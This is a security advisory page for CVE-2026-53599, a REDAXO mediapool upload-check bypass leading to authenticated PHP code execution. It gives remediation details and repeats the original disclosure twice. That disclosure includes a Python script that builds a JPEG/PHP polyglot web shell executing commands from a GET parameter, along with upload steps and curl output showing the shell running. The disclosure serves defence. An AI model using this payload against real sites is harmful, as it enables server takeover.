CVE-2026-53599: Redaxo/source Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-98pp-vccm-qm25
CVSS 7.5
CWE-434
Published
Advisory Summary

CVE-2026-53599 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Redaxo/source libraries in the Packagist ecosystem. The issue involves redaxo has a mediapool isallowedextension bypass via multi-segment filename that leads to authenticated rce on apache mod_php multi-extension handlers. Remediation is available by upgrading affected packages to version 5.21.1.

CVE-2026-53599 at a Glance

CVE Identifier CVE-2026-53599
GHSA Identifier GHSA-98pp-vccm-qm25
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product Redaxo/source
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-53599

To remediate this vulnerability, upgrade all affected Redaxo/source dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

redaxo/source fixed: 5.21.1
Upgrade redaxo/source to 5.21.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for redaxo/source

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53599, inspect your project dependencies for Redaxo/source:

inspect dependencies for redaxo/source

Analyze the terminal output to locate any version of Redaxo/source in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.21.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Redaxo/source, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `rex_mediapool::isAllowedExtension` in `redaxo/src/addons/mediapool/lib/mediapool.php` accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example `shell.php.any.jpg`. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named `shell.php.any.jpg` and, on web servers whose PHP handler matches `.php` as any segment (mod_mime `AddHandler`-style, or any `FilesMatch` regex without an end anchor), request the file from the public `media/` directory to execute arbitrary PHP as the web-server user. The vulnerable check is a **regression** introduced in commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025), which weakened a previously correct `str_contains` check into a pair of `str_ends_with` checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload. The regression has shipped in every release from 5.18.2 through 5.21.0. ## Details ## Root cause At the audited commit `6e0de42`, `isAllowedExtension` performs three checks against the blocked-extension list: ```php // redaxo/src/addons/mediapool/lib/mediapool.php (104–130) @ 6e0de42 public static function isAllowedExtension(string $filename, array $args = []): bool { $fileExt = mb_strtolower(rex_file::extension($filename)); if ('' === $filename || str_contains($fileExt, ' ') || '' === $fileExt) { return false; } if (str_starts_with($fileExt, 'php')) { return false; } $blockedExtensions = self::getBlockedExtensions(); foreach ($blockedExtensions as $blockedExtension) { // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities: // -> some webspaces execute files named file.php.txt as php if (str_ends_with($filename, '.' . $blockedExtension) || str_ends_with($filename, '.' . $blockedExtension . '.' . $fileExt) ) { return false; } } $allowedExtensions = self::getAllowedExtensions($args); return !count($allowedExtensions) || in_array($fileExt, $allowedExtensions); } ``` For `shell.php.any.jpg`: 1. `$fileExt` is `jpg`, so `str_starts_with('jpg', 'php')` is false. 2. The loop checks two suffix shapes: - `str_ends_with('shell.php.any.jpg', '.php')` — false. - `str_ends_with('shell.php.any.jpg', '.php.jpg')` — false, because the actual chain is `.php.any.jpg`. 3. Default `$allowedExtensions` is empty (no widget `types` arg on the main mediapool upload page), so the function returns `true`. The defensive comment on lines 119–120 explicitly names the threat model the maintainers are guarding against — *"some webspaces execute files named file.php.txt as php"*. The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment. ### Regression history Prior to commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025) the check was: ```php if (str_contains($filename, '.' . $blockedExtension)) { return false; } ``` `str_contains('shell.php.any.jpg', '.php')` is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like `foo.json` (which contains the substring `.js`), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (`foo.js.txt`, `js_datei.txt`, `foo.json`) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite. The same weak check is invoked a second time from `rex_mediapool::filename()` during the normalization step, so the bypass also passes the renaming guard. `rex_string::normalize($mediaName, '_', '.-@')` preserves `.`, `-`, `@` and lowercases the rest, so `shell.php.any.jpg` survives normalization unchanged. ## PoC Reproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit `6e0de42` and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations. ### Payload Minimal JPEG/PHP polyglot, 188 bytes, MIME-classified as `image/jpeg`: ```python # build_polyglot.py jpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00]) php_payload = b'<?php echo "=== PWNED ===\n"; echo "file: " . __FILE__ . "\n"; echo "cmd output:\n"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : "id"; echo shell_exec($cmd); ?>' jpeg_tail = bytes([0xff,0xd9]) open('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail) ``` ``` $ file --mime-type shell.php.any.jpg shell.php.any.jpg: image/jpeg ``` ### Validator output Expected vulnerable deployment flow: 1. Log in as a backend user with media upload permission. 2. Upload the payload as `shell.php.any.jpg`. 3. REDAXO accepts the final `jpg` extension and `image/jpeg` MIME type, and stores `media/shell.php.any.jpg`. 4. Request `https://victim.example/media/shell.php.any.jpg?x=id`. 5. On Apache/mod_php-style multi-extension handler mappings, PHP code in the uploaded file executes. Running the exact `isAllowedExtension` logic from commit `6e0de42` against the default `blocked_extensions` list from `redaxo/src/addons/mediapool/package.yml`: ``` isAllowedExtension("shell.php.any.jpg") = TRUE — UPLOAD ACCEPTED ``` ### HTTP execution test The same file was placed in two Apache vhosts. **Vhost A — current Ubuntu/Debian default `libapache2-mod-php8.3` config** (`<FilesMatch ".+\.ph(?:ar|p|tml)$">`, `$` anchor): ``` $ curl -sS -D - -o body "http://127.0.0.1:8081/shell.php.any.jpg?x=id" HTTP/1.1 200 OK Content-Type: image/jpeg $ file body body: JPEG image data, JFIF standard 1.01 ``` File served as a static JPEG. **Not exploitable** on this configuration. **Vhost B — non-anchored handler match** (`<FilesMatch "\.ph(?:ar|p|tml)(\.|$)">`, equivalent to `AddHandler application/x-httpd-php .php` behavior under mod_mime): ``` $ curl -sS "http://127.0.0.1:8082/shell.php.any.jpg?x=id" === PWNED === file: /home/riodrwn/sandbox/docroot/shell.php.any.jpg cmd output: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` PHP executes as `www-data`. **RCE confirmed.** ### Impact A backend user holding only the `media[upload]` permission — the permission that the standard editor role carries — gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.

CVE-2026-53599 Affected Redaxo/source Versions

1 component(s)
Fixed Versions:
5.21.1
Product / Package Ecosystem Affected Versions Fixed Version
redaxo/source
Packagist
≥ 5.18.2
< 5.21.1
5.21.1

References

Frequently Asked Questions

What is CVE-2026-53599?
CVE-2026-53599 is a security vulnerability in Redaxo/source involving Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which Redaxo/source versions are affected?
Affected versions include releases prior to 5.21.1 across affected packages: redaxo/source.
What version fixes CVE-2026-53599?
Upgrading to 5.21.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is redaxo/source affected?
Yes, redaxo/source is affected in releases prior to 5.21.1. Upgrade your dependency to 5.21.1 or later.
What is the CVSS score of CVE-2026-53599?
CVE-2026-53599 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-53599?
CVE-2026-53599 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Packagist dependencies for CVE-2026-53599?
Run the dependency tree command: 'inspect dependencies for redaxo/source'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-98pp-vccm-qm25",
  "modified" : "2026-07-31T19:43:51Z",
  "published" : "2026-07-31T19:43:51Z",
  "aliases" : [ "CVE-2026-53599" ],
  "summary" : "Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers",
  "details" : "## Summary\n \n`rex_mediapool::isAllowedExtension` in `redaxo/src/addons/mediapool/lib/mediapool.php` accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example `shell.php.any.jpg`. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named `shell.php.any.jpg` and, on web servers whose PHP handler matches `.php` as any segment (mod_mime `AddHandler`-style, or any `FilesMatch` regex without an end anchor), request the file from the public `media/` directory to execute arbitrary PHP as the web-server user.\n \nThe vulnerable check is a **regression** introduced in commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025), which weakened a previously correct `str_contains` check into a pair of `str_ends_with` checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload.\n \nThe regression has shipped in every release from 5.18.2 through 5.21.0.\n\n## Details\n## Root cause\n \nAt the audited commit `6e0de42`, `isAllowedExtension` performs three checks against the blocked-extension list:\n \n```php\n// redaxo/src/addons/mediapool/lib/mediapool.php (104–130) @ 6e0de42\npublic static function isAllowedExtension(string $filename, array $args = []): bool\n{\n    $fileExt = mb_strtolower(rex_file::extension($filename));\n \n    if ('' === $filename || str_contains($fileExt, ' ') || '' === $fileExt) {\n        return false;\n    }\n \n    if (str_starts_with($fileExt, 'php')) {\n        return false;\n    }\n \n    $blockedExtensions = self::getBlockedExtensions();\n    foreach ($blockedExtensions as $blockedExtension) {\n        // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities:\n        // -> some webspaces execute files named file.php.txt as php\n        if (str_ends_with($filename, '.' . $blockedExtension)\n            || str_ends_with($filename, '.' . $blockedExtension . '.' . $fileExt)\n        ) {\n            return false;\n        }\n    }\n \n    $allowedExtensions = self::getAllowedExtensions($args);\n    return !count($allowedExtensions) || in_array($fileExt, $allowedExtensions);\n}\n```\n \nFor `shell.php.any.jpg`:\n \n1. `$fileExt` is `jpg`, so `str_starts_with('jpg', 'php')` is false.\n2. The loop checks two suffix shapes:\n   - `str_ends_with('shell.php.any.jpg', '.php')` — false.\n   - `str_ends_with('shell.php.any.jpg', '.php.jpg')` — false, because the actual chain is `.php.any.jpg`.\n3. Default `$allowedExtensions` is empty (no widget `types` arg on the main mediapool upload page), so the function returns `true`.\nThe defensive comment on lines 119–120 explicitly names the threat model the maintainers are guarding against — *\"some webspaces execute files named file.php.txt as php\"*. The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment.\n \n### Regression history\n \nPrior to commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025) the check was:\n \n```php\nif (str_contains($filename, '.' . $blockedExtension)) {\n    return false;\n}\n```\n \n`str_contains('shell.php.any.jpg', '.php')` is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like `foo.json` (which contains the substring `.js`), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (`foo.js.txt`, `js_datei.txt`, `foo.json`) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite.\n \nThe same weak check is invoked a second time from `rex_mediapool::filename()` during the normalization step, so the bypass also passes the renaming guard. `rex_string::normalize($mediaName, '_', '.-@')` preserves `.`, `-`, `@` and lowercases the rest, so `shell.php.any.jpg` survives normalization unchanged.\n\n## PoC\nReproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit `6e0de42` and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations.\n \n### Payload\n \nMinimal JPEG/PHP polyglot, 188 bytes, MIME-classified as `image/jpeg`:\n \n```python\n# build_polyglot.py\njpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])\nphp_payload = b'<?php echo \"=== PWNED ===\\n\"; echo \"file: \" . __FILE__ . \"\\n\"; echo \"cmd output:\\n\"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : \"id\"; echo shell_exec($cmd); ?>'\njpeg_tail = bytes([0xff,0xd9])\nopen('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail)\n```\n\n```\n$ file --mime-type shell.php.any.jpg\nshell.php.any.jpg: image/jpeg\n```\n \n### Validator output\n\nExpected vulnerable deployment flow:\n\n1. Log in as a backend user with media upload permission.\n2. Upload the payload as `shell.php.any.jpg`.\n3. REDAXO accepts the final `jpg` extension and `image/jpeg` MIME type, and stores `media/shell.php.any.jpg`.\n4. Request `https://victim.example/media/shell.php.any.jpg?x=id`.\n5. On Apache/mod_php-style multi-extension handler mappings, PHP code in the uploaded file executes. \n\nRunning the exact `isAllowedExtension` logic from commit `6e0de42` against the default `blocked_extensions` list from `redaxo/src/addons/mediapool/package.yml`:\n \n```\nisAllowedExtension(\"shell.php.any.jpg\") = TRUE — UPLOAD ACCEPTED\n```\n \n### HTTP execution test\n \nThe same file was placed in two Apache vhosts.\n \n**Vhost A — current Ubuntu/Debian default `libapache2-mod-php8.3` config** (`<FilesMatch \".+\\.ph(?:ar|p|tml)$\">`, `$` anchor):\n \n```\n$ curl -sS -D - -o body \"http://127.0.0.1:8081/shell.php.any.jpg?x=id\"\nHTTP/1.1 200 OK\nContent-Type: image/jpeg\n$ file body\nbody: JPEG image data, JFIF standard 1.01\n```\n \nFile served as a static JPEG. **Not exploitable** on this configuration.\n \n**Vhost B — non-anchored handler match** (`<FilesMatch \"\\.ph(?:ar|p|tml)(\\.|$)\">`, equivalent to `AddHandler application/x-httpd-php .php` behavior under mod_mime):\n \n```\n$ curl -sS \"http://127.0.0.1:8082/shell.php.any.jpg?x=id\"\n=== PWNED ===\nfile: /home/riodrwn/sandbox/docroot/shell.php.any.jpg\ncmd output:\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n \nPHP executes as `www-data`. **RCE confirmed.**\n\n### Impact\nA backend user holding only the `media[upload]` permission — the permission that the standard editor role carries — gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "redaxo/source"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.18.2"
      }, {
        "fixed" : "5.21.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/security/advisories/GHSA-98pp-vccm-qm25"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/pull/6538"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/commit/462e36896bb65d292ba22d711044c23c9cfb0340"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/redaxo/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/releases/tag/5.21.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T19:43:51Z",
    "nvd_published_at" : null
  }
}